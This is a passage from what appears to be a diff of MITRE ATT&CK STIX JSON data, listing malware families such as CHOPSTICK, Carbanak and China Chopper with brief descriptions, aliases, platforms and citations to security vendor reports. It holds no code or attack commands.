McAfee Gold Dragon)", + "source_name": "Brave Prince" + }, + { + "description": "Sherstobitoff, R., Saavedra-Morales, J. (2018, February 02). Gold Dragon Widens Olympics Malware Attacks, Gains Permanent Presence on Victims\u2019 Systems. Retrieved June 6, 2018.", + "source_name": "McAfee Gold Dragon", + "url": "https://securingtomorrow.mcafee.com/mcafee-labs/gold-dragon-widens-olympics-malware-attacks-gains-permanent-presence-on-victims-systems/" + } + ] + }, + { + "name": "Briba", + "description": "[Briba](https://attack.mitre.org/software/S0204) is a trojan used by [Elderwood](https://attack.mitre.org/groups/G0066) to open a backdoor and download files on to compromised hosts. (Citation: Symantec Elderwood Sept 2012) (Citation: Symantec Briba May 2012)", + "labels": [ + "malware" + ], + "x_mitre_platforms": [ + "Windows" + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_aliases": [ + "Briba" + ], + "type": "malware", + "x_mitre_version": "1.0", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "id": "malware--79499993-a8d6-45eb-b343-bf58dea5bdde", + "created": "2018-04-18T17:59:24.739Z", + "modified": "2018-10-17T00:14:20.652Z", + "external_references": [ + { + "external_id": "S0204", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S0204" + }, + { + "description": "(Citation: Symantec Briba May 2012)", + "source_name": "Briba" + }, + { + "description": "O'Gorman, G., and McDonald, G.. (2012, September 6). The Elderwood Project. Retrieved February 15, 2018.", + "source_name": "Symantec Elderwood Sept 2012", + "url": "http://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/the-elderwood-project.pdf" + }, + { + "description": "Ladley, F. (2012, May 15). Backdoor.Briba. Retrieved February 21, 2018.", + "source_name": "Symantec Briba May 2012", + "url": "https://www.symantec.com/security_response/writeup.jsp?docid=2012-051515-2843-99" + } + ] + }, + { + "name": "CALENDAR", + "description": "[CALENDAR](https://attack.mitre.org/software/S0025) is malware used by [APT1](https://attack.mitre.org/groups/G0006) that mimics legitimate Gmail Calendar traffic. (Citation: Mandiant APT1)", + "labels": [ + "malware" + ], + "x_mitre_platforms": [ + "Windows" + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_aliases": [ + "CALENDAR" + ], + "type": "malware", + "x_mitre_version": "1.1", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "id": "malware--5a84dc36-df0d-4053-9b7c-f0c388a57283", + "created": "2017-05-31T21:32:20.137Z", + "modified": "2019-01-30T15:39:45.451Z", + "external_references": [ + { + "external_id": "S0025", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S0025" + }, + { + "description": "Mandiant. (n.d.). APT1 Exposing One of China\u2019s Cyber Espionage Units. Retrieved July 18, 2016.", + "source_name": "Mandiant APT1", + "url": "https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report.pdf" + } + ] + }, + { + "name": "CCBkdr", + "description": "[CCBkdr](https://attack.mitre.org/software/S0222) is malware that was injected into a signed version of CCleaner and distributed from CCleaner's distribution website. (Citation: Talos CCleanup 2017) (Citation: Intezer Aurora Sept 2017)", + "id": "malware--b0f13390-cec7-4814-b37c-ccec01887faa", + "x_mitre_platforms": [ + "Windows" + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_aliases": [ + "CCBkdr" + ], + "type": "malware", + "x_mitre_version": "1.1", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "labels": [ + "malware" + ], + "created": "2018-04-18T17:59:24.739Z", + "modified": "2019-04-24T23:11:34.478Z", + "external_references": [ + { + "external_id": "S0222", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S0222" + }, + { + "source_name": "Talos CCleanup 2017", + "description": "Brumaghin, E. et al. (2017, September 18). CCleanup: A Vast Number of Machines at Risk. Retrieved March 9, 2018.", + "url": "http://blog.talosintelligence.com/2017/09/avast-distributes-malware.html" + }, + { + "source_name": "Intezer Aurora Sept 2017", + "description": "Rosenberg, J. (2017, September 20). Evidence Aurora Operation Still Active: Supply Chain Attack Through CCleaner. Retrieved February 13, 2018.", + "url": "http://www.intezer.com/evidence-aurora-operation-still-active-supply-chain-attack-through-ccleaner/" + } + ] + }, + { + "name": "CHOPSTICK", + "description": "[CHOPSTICK](https://attack.mitre.org/software/S0023) is a malware family of modular backdoors used by [APT28](https://attack.mitre.org/groups/G0007). It has been used since at least 2012 and is usually dropped on victims as second-stage malware, though it has been used as first-stage malware in several cases. It has both Windows and Linux variants. (Citation: FireEye APT28) (Citation: ESET Sednit Part 2) (Citation: FireEye APT28 January 2017) (Citation: DOJ GRU Indictment Jul 2018) It is tracked separately from the [X-Agent for Android](https://attack.mitre.org/software/S0314).", + "id": "malware--ccd61dfc-b03f-4689-8c18-7c97eab08472", + "external_references": [ + { + "external_id": "S0023", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S0023" + }, + { + "description": "(Citation: FireEye APT28) (Citation: ESET Sednit Part 2) (Citation: FireEye APT28 January 2017)", + "source_name": "CHOPSTICK" + }, + { + "description": "(Citation: Symantec APT28 Oct 2018)", + "source_name": "Backdoor.SofacyX" + }, + { + "description": "(Citation: ESET Sednit Part 2) (Citation: FireEye APT28 January 2017)", + "source_name": "SPLM" + }, + { + "description": "(Citation: ESET Sednit Part 2) (Citation: FireEye APT28 January 2017)", + "source_name": "Xagent" + }, + { + "description": "(Citation: ESET Sednit Part 2) (Citation: FireEye APT28 January 2017)", + "source_name": "X-Agent" + }, + { + "description": "(Citation: FireEye APT28 January 2017)", + "source_name": "webhp" + }, + { + "description": "FireEye. (2015). APT28: A WINDOW INTO RUSSIA\u2019S CYBER ESPIONAGE OPERATIONS?. Retrieved August 19, 2015.", + "source_name": "FireEye APT28", + "url": "https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/rpt-apt28.pdf" + }, + { + "source_name": "ESET Sednit Part 2", + "description": "ESET. (2016, October). En Route with Sednit - Part 2: Observing the Comings and Goings. Retrieved November 21, 2016.", + "url": "http://www.welivesecurity.com/wp-content/uploads/2016/10/eset-sednit-part-2.pdf" + }, + { + "description": "FireEye iSIGHT Intelligence. (2017, January 11). APT28: At the Center of the Storm. Retrieved January 11, 2017.", + "source_name": "FireEye APT28 January 2017", + "url": "https://www2.fireeye.com/rs/848-DID-242/images/APT28-Center-of-Storm-2017.pdf" + }, + { + "description": "Mueller, R. (2018, July 13). Indictment - United States of America vs. VIKTOR BORISOVICH NETYKSHO, et al. Retrieved September 13, 2018.", + "source_name": "DOJ GRU Indictment Jul 2018", + "url": "https://www.justice.gov/file/1080281/download" + }, + { + "source_name": "Symantec APT28 Oct 2018", + "description": "Symantec Security Response. (2018, October 04). APT28: New Espionage Operations Target Military and Government Organizations. Retrieved November 14, 2018.", + "url": "https://www.symantec.com/blogs/election-security/apt28-espionage-military-government" + } + ], + "x_mitre_platforms": [ + "Windows", + "Linux" + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_aliases": [ + "CHOPSTICK", + "Backdoor.SofacyX", + "SPLM", + "Xagent", + "X-Agent", + "webhp" + ], + "type": "malware", + "x_mitre_version": "2.0", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_contributors": [ + "Richard Gold, Digital Shadows" + ], + "created": "2017-05-31T21:32:19.389Z", + "modified": "2019-05-14T17:10:21.597Z", + "labels": [ + "malware" + ] + }, + { + "name": "CORALDECK", + "description": "[CORALDECK](https://attack.mitre.org/software/S0212) is an exfiltration tool used by [APT37](https://attack.mitre.org/groups/G0067). (Citation: FireEye APT37 Feb 2018)", + "labels": [ + "malware" + ], + "x_mitre_platforms": [ + "Windows" + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_aliases": [ + "CORALDECK" + ], + "type": "malware", + "x_mitre_version": "1.0", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "id": "malware--8ab98e25-1672-4b5f-a2fb-e60f08a5ea9e", + "created": "2018-04-18T17:59:24.739Z", + "modified": "2018-10-17T00:14:20.652Z", + "external_references": [ + { + "external_id": "S0212", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S0212" + }, + { + "description": "(Citation: FireEye APT37 Feb 2018)", + "source_name": "CORALDECK" + }, + { + "description": "FireEye. (2018, February 20). APT37 (Reaper): The Overlooked North Korean Actor. Retrieved March 1, 2018.", + "source_name": "FireEye APT37 Feb 2018", + "url": "https://www2.fireeye.com/rs/848-DID-242/images/rpt_APT37.pdf" + } + ] + }, + { + "name": "CORESHELL", + "description": "[CORESHELL](https://attack.mitre.org/software/S0137) is a downloader used by [APT28](https://attack.mitre.org/groups/G0007). The older versions of this malware are known as SOURFACE and newer versions as CORESHELL.(Citation: FireEye APT28) (Citation: FireEye APT28 January 2017)", + "labels": [ + "malware" + ], + "x_mitre_platforms": [ + "Windows" + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_aliases": [ + "CORESHELL", + "Sofacy", + "SOURFACE" + ], + "type": "malware", + "x_mitre_version": "2.0", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "id": "malware--60c18d06-7b91-4742-bae3-647845cd9d81", + "created": "2017-05-31T21:33:18.506Z", + "modified": "2019-01-30T18:08:50.719Z", + "external_references": [ + { + "external_id": "S0137", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S0137" + }, + { + "description": "(Citation: FireEye APT28) (Citation: FireEye APT28 January 2017)", + "source_name": "CORESHELL" + }, + { + "description": "This designation has been used in reporting both to refer to the threat group (APT28) and its associated malware.(Citation: FireEye APT28) (Citation: FireEye APT28 January 2017)(Citation: Securelist Sofacy Feb 2018)", + "source_name": "Sofacy" + }, + { + "description": "(Citation: FireEye APT28) (Citation: FireEye APT28 January 2017)(Citation: Securelist Sofacy Feb 2018)", + "source_name": "SOURFACE" + }, + { + "source_name": "FireEye APT28", + "description": "FireEye. (2015). APT28: A WINDOW INTO RUSSIA\u2019S CYBER ESPIONAGE OPERATIONS?. Retrieved August 19, 2015.", + "url": "https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/rpt-apt28.pdf" + }, + { + "source_name": "FireEye APT28 January 2017", + "description": "FireEye iSIGHT Intelligence. (2017, January 11). APT28: At the Center of the Storm. Retrieved January 11, 2017.", + "url": "https://www2.fireeye.com/rs/848-DID-242/images/APT28-Center-of-Storm-2017.pdf" + }, + { + "source_name": "Securelist Sofacy Feb 2018", + "description": "Kaspersky Lab's Global Research & Analysis Team. (2018, February 20). A Slice of 2017 Sofacy Activity. Retrieved November 27, 2018.", + "url": "https://securelist.com/a-slice-of-2017-sofacy-activity/83930/" + } + ] + }, + { + "name": "Calisto", + "description": "[Calisto](https://attack.mitre.org/software/S0274) is a macOS Trojan that opens a backdoor on the compromised machine. [Calisto](https://attack.mitre.org/software/S0274) is believed to have first been developed in 2016. (Citation: Securelist Calisto July 2018) (Citation: Symantec Calisto July 2018)", + "id": "malware--b8fdef82-d2cf-4948-8949-6466357b1be1", + "x_mitre_platforms": [ + "macOS" + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_aliases": [ + "Calisto" + ], + "type": "malware", + "x_mitre_version": "1.0", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_contributors": [ + "Cody Thomas, SpecterOps" + ], + "created": "2018-10-17T00:14:20.652Z", + "modified": "2018-10-17T00:14:20.652Z", + "external_references": [ + { + "external_id": "S0274", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S0274" + }, + { + "description": "(Citation: Securelist Calisto July 2018) (Citation: Symantec Calisto July 2018)", + "source_name": "Calisto" + }, + { + "description": "Kuzin, M., Zelensky S. (2018, July 20). Calisto Trojan for macOS. Retrieved September 7, 2018.", + "source_name": "Securelist Calisto July 2018", + "url": "https://securelist.com/calisto-trojan-for-macos/86543/" + }, + { + "description": "Pantig, J. (2018, July 30). OSX.Calisto. Retrieved September 7, 2018.", + "source_name": "Symantec Calisto July 2018", + "url": "https://www.symantec.com/security-center/writeup/2018-073014-2512-99?om_rssid=sr-latestthreats30days" + } + ], + "labels": [ + "malware" + ] + }, + { + "name": "CallMe", + "description": "[CallMe](https://attack.mitre.org/software/S0077) is a Trojan designed to run on Apple OSX. It is based on a publicly available tool called Tiny SHell. (Citation: Scarlet Mimic Jan 2016)", + "labels": [ + "malware" + ], + "x_mitre_platforms": [ + "macOS" + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_aliases": [ + "CallMe" + ], + "type": "malware", + "x_mitre_version": "1.0", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "id": "malware--cb7bcf6f-085f-41db-81ee-4b68481661b5", + "created": "2017-05-31T21:32:52.875Z", + "modified": "2018-10-17T00:14:20.652Z", + "external_references": [ + { + "external_id": "S0077", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S0077" + }, + { + "description": "Falcone, R. and Miller-Osborn, J.. (2016, January 24). Scarlet Mimic: Years-Long Espionage Campaign Targets Minority Activists. Retrieved February 10, 2016.", + "source_name": "Scarlet Mimic Jan 2016", + "url": "http://researchcenter.paloaltonetworks.com/2016/01/scarlet-mimic-years-long-espionage-targets-minority-activists/" + } + ] + }, + { + "name": "Cannon", + "description": "[Cannon](https://attack.mitre.org/software/S0351) is a Trojan with variants written in C# and Delphi. It was first observed in April 2018. (Citation: Unit42 Cannon Nov 2018)(Citation: Unit42 Sofacy Dec 2018)", + "id": "malware--d20b397a-ea47-48a9-b503-2e2a3551e11d", + "x_mitre_platforms": [ + "Windows" + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0", + "type": "malware", + "x_mitre_aliases": [ + "Cannon" + ], + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "labels": [ + "malware" + ], + "created": "2019-01-30T18:58:03.614Z", + "modified": "2019-04-22T19:48:08.741Z", + "external_references": [ + { + "source_name": "mitre-attack", + "external_id": "S0351", + "url": "https://attack.mitre.org/software/S0351" + }, + { + "description": "(Citation: Unit42 Cannon Nov 2018)", + "source_name": "Cannon" + }, + { + "source_name": "Unit42 Cannon Nov 2018", + "description": "Falcone, R., Lee, B. (2018, November 20). Sofacy Continues Global Attacks and Wheels Out New \u2018Cannon\u2019 Trojan. Retrieved November 26, 2018.", + "url": "https://researchcenter.paloaltonetworks.com/2018/11/unit42-sofacy-continues-global-attacks-wheels-new-cannon-trojan/" + }, + { + "description": "Lee, B., Falcone, R. (2018, December 12). Dear Joohn: The Sofacy Group\u2019s Global Campaign. Retrieved April 19, 2019.", + "source_name": "Unit42 Sofacy Dec 2018", + "url": "https://unit42.paloaltonetworks.com/dear-joohn-sofacy-groups-global-campaign/" + } + ] + }, + { + "name": "Carbanak", + "description": "[Carbanak](https://attack.mitre.org/software/S0030) is a full-featured, remote backdoor used by a group of the same name ([Carbanak](https://attack.mitre.org/groups/G0008)). It is intended for espionage, data exfiltration, and providing remote access to infected machines. (Citation: Kaspersky Carbanak) (Citation: FireEye CARBANAK June 2017)", + "labels": [ + "malware" + ], + "x_mitre_platforms": [ + "Windows" + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_aliases": [ + "Carbanak", + "Anunak" + ], + "type": "malware", + "x_mitre_version": "1.0", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "id": "malware--72f54d66-675d-4587-9bd3-4ed09f9522e4", + "created": "2017-05-31T21:32:22.213Z", + "modified": "2018-10-17T00:14:20.652Z", + "external_references": [ + { + "external_id": "S0030", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S0030" + }, + { + "description": "(Citation: FireEye CARBANAK June 2017)", + "source_name": "Carbanak" + }, + { + "description": "(Citation: Fox-It Anunak Feb 2015) (Citation: FireEye CARBANAK June 2017)", + "source_name": "Anunak" + }, + { + "description": "Kaspersky Lab's Global Research and Analysis Team. (2015, February). CARBANAK APT THE GREAT BANK ROBBERY. Retrieved August 23, 2018.", + "source_name": "Kaspersky Carbanak", + "url": "https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/08064518/Carbanak_APT_eng.pdf" + }, + { + "description": "Prins, R. (2015, February 16). Anunak (aka Carbanak) Update. Retrieved January 20, 2017.", + "source_name": "Fox-It Anunak Feb 2015", + "url": "https://www.fox-it.com/en/about-fox-it/corporate/news/anunak-aka-carbanak-update/" + }, + { + "description": "Bennett, J., Vengerik, B. (2017, June 12). Behind the CARBANAK Backdoor. Retrieved June 11, 2018.", + "source_name": "FireEye CARBANAK June 2017", + "url": "https://www.fireeye.com/blog/threat-research/2017/06/behind-the-carbanak-backdoor.html" + } + ] + }, + { + "name": "Carbon", + "description": "[Carbon](https://attack.mitre.org/software/S0335) is a sophisticated, second-stage backdoor and framework that can be used to steal sensitive information from victims. [Carbon](https://attack.mitre.org/software/S0335) has been selectively used by [Turla](https://attack.mitre.org/groups/G0010) to target government and foreign affairs-related organizations in Central Asia.(Citation: ESET Carbon Mar 2017)(Citation: Securelist Turla Oct 2018)", + "id": "malware--b7e9880a-7a7c-4162-bddb-e28e8ef2bf1f", + "x_mitre_platforms": [ + "Windows" + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0", + "type": "malware", + "x_mitre_aliases": [ + "Carbon" + ], + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "labels": [ + "malware" + ], + "created": "2019-01-29T19:36:02.103Z", + "modified": "2019-04-12T14:43:22.440Z", + "external_references": [ + { + "source_name": "mitre-attack", + "external_id": "S0335", + "url": "https://attack.mitre.org/software/S0335" + }, + { + "description": "(Citation: ESET Carbon Mar 2017)(Citation: Securelist Turla Oct 2018)", + "source_name": "Carbon" + }, + { + "source_name": "ESET Carbon Mar 2017", + "description": "ESET. (2017, March 30). Carbon Paper: Peering into Turla\u2019s second stage backdoor. Retrieved November 7, 2018.", + "url": "https://www.welivesecurity.com/2017/03/30/carbon-paper-peering-turlas-second-stage-backdoor/" + }, + { + "source_name": "Securelist Turla Oct 2018", + "description": "Kaspersky Lab's Global Research & Analysis Team. (2018, October 04). Shedding Skin \u2013 Turla\u2019s Fresh Faces. Retrieved November 7, 2018.", + "url": "https://securelist.com/shedding-skin-turlas-fresh-faces/88069/" + } + ] + }, + { + "name": "Cardinal RAT", + "description": "[Cardinal RAT](https://attack.mitre.org/software/S0348) is a potentially low volume remote access trojan (RAT) observed since December 2015. [Cardinal RAT](https://attack.mitre.org/software/S0348) is notable for its unique utilization of uncompiled C# source code and the Microsoft Windows built-in csc.exe compiler.(Citation: PaloAlto CardinalRat Apr 2017)", + "id": "malware--b879758f-bbc4-4cab-b5ba-177ac9b009b4", + "x_mitre_platforms": [ + "Windows" + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_aliases": [ + "Cardinal RAT" + ], + "type": "malware", + "x_mitre_version": "1.0", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "labels": [ + "malware" + ], + "created": "2019-01-30T16:39:53.573Z", + "modified": "2019-06-10T18:25:51.350Z", + "external_references": [ + { + "source_name": "mitre-attack", + "external_id": "S0348", + "url": "https://attack.mitre.org/software/S0348" + }, + { + "description": "(Citation: PaloAlto CardinalRat Apr 2017)", + "source_name": "Cardinal RAT" + }, + { + "source_name": "PaloAlto CardinalRat Apr 2017", + "description": "Grunzweig, J.. (2017, April 20). Cardinal RAT Active for Over Two Years. Retrieved December 8, 2018.", + "url": "https://researchcenter.paloaltonetworks.com/2017/04/unit42-cardinal-rat-active-two-years/" + } + ] + }, + { + "name": "Catchamas", + "description": "[Catchamas](https://attack.mitre.org/software/S0261) is a Windows Trojan that steals information from compromised systems. (Citation: Symantec Catchamas April 2018)", + "labels": [ + "malware" + ], + "x_mitre_platforms": [ + "Windows" + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_aliases": [ + "Catchamas" + ], + "type": "malware", + "x_mitre_version": "1.0", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "id": "malware--8d9e758b-735f-4cbc-ba7c-32cd15138b2a", + "created": "2018-10-17T00:14:20.652Z", + "modified": "2018-10-17T00:14:20.652Z", + "external_references": [ + { + "external_id": "S0261", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S0261" + }, + { + "description": "(Citation: Symantec Catchamas April 2018)", + "source_name": "Catchamas" + }, + { + "description": "Balanza, M. (2018, April 02). Infostealer.Catchamas. Retrieved July 10, 2018.", + "source_name": "Symantec Catchamas April 2018", + "url": "https://www-west.symantec.com/content/symantec/english/en/security-center/writeup.html/2018-040209-1742-99" + } + ] + }, + { + "name": "ChChes", + "description": "[ChChes](https://attack.mitre.org/software/S0144) is a Trojan that appears to be used exclusively by [menuPass](https://attack.mitre.org/groups/G0045). It was used to target Japanese organizations in 2016. Its lack of persistence methods suggests it may be intended as a first-stage tool. (Citation: Palo Alto menuPass Feb 2017) (Citation: JPCERT ChChes Feb 2017) (Citation: PWC Cloud Hopper Technical Annex April 2017)", + "labels": [ + "malware" + ], + "x_mitre_platforms": [ + "Windows" + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_aliases": [ + "ChChes", + "Scorpion", + "HAYMAKER" + ], + "type": "malware", + "x_mitre_version": "1.0", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "id": "malware--dc5d1a33-62aa-4a0c-aa8c-589b87beb11e", + "created": "2017-05-31T21:33:22.451Z", + "modified": "2018-10-17T00:14:20.652Z", + "external_references": [ + { + "external_id": "S0144", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S0144" + }, + { + "description": "(Citation: Palo Alto menuPass Feb 2017) (Citation: JPCERT ChChes Feb 2017) (Citation: PWC Cloud Hopper Technical Annex April 2017)", + "source_name": "ChChes" + }, + { + "description": "(Citation: PWC Cloud Hopper Technical Annex April 2017)", + "source_name": "Scorpion" + }, + { + "description": "Based on similarities in reported malware behavior and open source reporting, it is assessed that the malware named HAYMAKER by FireEye is likely the same as the malware ChChes. (Citation: FireEye APT10 April 2017) (Citation: Twitter Nick Carr APT10)", + "source_name": "HAYMAKER" + }, + { + "description": "Miller-Osborn, J. and Grunzweig, J.. (2017, February 16). menuPass Returns with New Malware and New Attacks Against Japanese Academics and Organizations. Retrieved March 1, 2017.", + "source_name": "Palo Alto menuPass Feb 2017", + "url": "http://researchcenter.paloaltonetworks.com/2017/02/unit42-menupass-returns-new-malware-new-attacks-japanese-academics-organizations/" + }, + { + "description": "Nakamura, Y.. (2017, February 17). ChChes - Malware that Communicates with C&C Servers Using Cookie Headers. Retrieved March 1, 2017.", + "source_name": "JPCERT ChChes Feb 2017", + "url": "http://blog.jpcert.or.jp/2017/02/chches-malware--93d6.html" + }, + { + "description": "PwC and BAE Systems. (2017, April). Operation Cloud Hopper: Technical Annex. Retrieved April 13, 2017.", + "source_name": "PWC Cloud Hopper Technical Annex April 2017", + "url": "https://www.pwc.co.uk/cyber-security/pdf/cloud-hopper-annex-b-final.pdf" + }, + { + "description": "FireEye iSIGHT Intelligence. (2017, April 6). APT10 (MenuPass Group): New Tools, Global Campaign Latest Manifestation of Longstanding Threat. Retrieved June 29, 2017.", + "source_name": "FireEye APT10 April 2017", + "url": "https://www.fireeye.com/blog/threat-research/2017/04/apt10_menupass_grou.html" + }, + { + "description": "Carr, N.. (2017, April 6). Retrieved June 29, 2017.", + "source_name": "Twitter Nick Carr APT10", + "url": "https://twitter.com/ItsReallyNick/status/850105140589633536" + } + ] + }, + { + "name": "Chaos", + "description": "[Chaos](https://attack.mitre.org/software/S0220) is Linux malware that compromises systems by brute force attacks against SSH services. Once installed, it provides a reverse shell to its controllers, triggered by unsolicited packets. (Citation: Chaos Stolen Backdoor)", + "id": "malware--5bcd5511-6756-4824-a692-e8bb109364af", + "x_mitre_platforms": [ + "Linux" + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0", + "type": "malware", + "x_mitre_aliases": [ + "Chaos" + ], + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "labels": [ + "malware" + ], + "created": "2018-04-18T17:59:24.739Z", + "modified": "2019-05-10T18:57:52.988Z", + "external_references": [ + { + "external_id": "S0220", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S0220" + }, + { + "description": "(Citation: Chaos Stolen Backdoor)", + "source_name": "Chaos" + }, + { + "description": "Sebastian Feldmann. (2018, February 14). Chaos: a Stolen Backdoor Rising Again. Retrieved March 5, 2018.", + "source_name": "Chaos Stolen Backdoor", + "url": "http://gosecure.net/2018/02/14/chaos-stolen-backdoor-rising/" + } + ] + }, + { + "name": "Cherry Picker", + "description": "[Cherry Picker](https://attack.mitre.org/software/S0107) is a point of sale (PoS) memory scraper. (Citation: Trustwave Cherry Picker)", + "labels": [ + "malware" + ], + "x_mitre_platforms": [ + "Windows" + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_aliases": [ + "Cherry Picker" + ], + "type": "malware", + "x_mitre_version": "1.0", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "id": "malware--b2203c59-4089-4ee4-bfe1-28fa25f0dbfe", + "created": "2017-05-31T21:33:05.710Z", + "modified": "2018-10-17T00:14:20.652Z", + "external_references": [ + { + "external_id": "S0107", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S0107" + }, + { + "description": "Merritt, E.. (2015, November 16). Shining the Spotlight on Cherry Picker PoS Malware. Retrieved April 20, 2016.", + "source_name": "Trustwave Cherry Picker", + "url": "https://www.trustwave.com/Resources/SpiderLabs-Blog/Shining-the-Spotlight-on-Cherry-Picker-PoS-Malware/" + } + ] + }, + { + "name": "China Chopper", + "description": "[China Chopper](https://attack.mitre.org/software/S0020) is a [Web Shell](https://attack.mitre.org/techniques/T1100) hosted on Web servers to provide access back into an enterprise network that does not rely on an infected system calling back to a remote command and control server. (Citation: Lee 2013) It has been used by several threat groups. (Citation: Dell TG-3390) (Citation: FireEye Periscope March 2018)", + "id": "malware--5a3a31fe-5a8f-48e1-bff0-a753e5b1be70", + "x_mitre_platforms": [ + "Windows" + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_aliases": [ + "China Chopper" + ], + "type": "malware", + "x_mitre_version": "2.0", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "labels": [ + "malware" + ], + "created": "2017-05-31T21:32:18.315Z", + "modified": "2019-04-24T16:39:53.803Z", + "external_references": [ + { + "external_id": "S0020", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S0020" + }, + { + "description": "(Citation: Dell TG-3390) (Citation: FireEye Periscope March 2018)", + "source_name": "China Chopper" + }, + { + "source_name": "Lee 2013", + "description": "Lee, T., Hanzlik, D., Ahl, I. (2013, August 7). Breaking Down the China Chopper Web Shell - Part I. Retrieved March 27, 2015.", + "url": "https://www.fireeye.com/blog/threat-research/2013/08/breaking-down-the-china-chopper-web-shell-part-i.html" + }, + { + "source_name": "Dell TG-3390", + "description": "Dell SecureWorks Counter Threat Unit Threat Intelligence. (2015, August 5). Threat Group-3390 Targets Organizations for Cyberespionage. Retrieved August 18, 2018.", + "url": "https://www.secureworks.com/research/threat-group-3390-targets-organizations-for-cyberespionage" + }, + { + "source_name": "FireEye Periscope March 2018", + "description": "FireEye. (2018, March 16). Suspected Chinese Cyber Espionage Group (TEMP.Periscope) Targeting U.S. Engineering and Maritime Industries. Retrieved April 11, 2018.", + "url": "https://www.fireeye.com/blog/threat-research/2018/03/suspected-chinese-espionage-group-targeting-maritime-and-engineering-industries.html" + } + ] + }, + { + "name": "CloudDuke", + "description": "[CloudDuke](https://attack.mitre.org/software/S0054) is malware that was used by [APT29](https://attack.mitre.org/groups/G0016) in 2015. (Citation: F-Secure The Dukes) (Citation: Securelist Minidionis July 2015)", + "labels": [ + "malware" + ], + "x_mitre_platforms": [ + "Windows" + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_aliases": [ + "CloudDuke", + "MiniDionis", + "CloudLook" + ], + "type": "malware", + "x_mitre_version": "1.0", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "id": "malware--cbf646f1-7db5-4dc6-808b-0094313949df", + "created": "2017-05-31T21:32:38.128Z", + "modified": "2018-10-17T00:14:20.652Z", + "external_references": [ + { + "external_id": "S0054", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S0054" + }, + { + "description": "F-Secure Labs. (2015, September 17). The Dukes: 7 years of Russian cyberespionage. Retrieved December 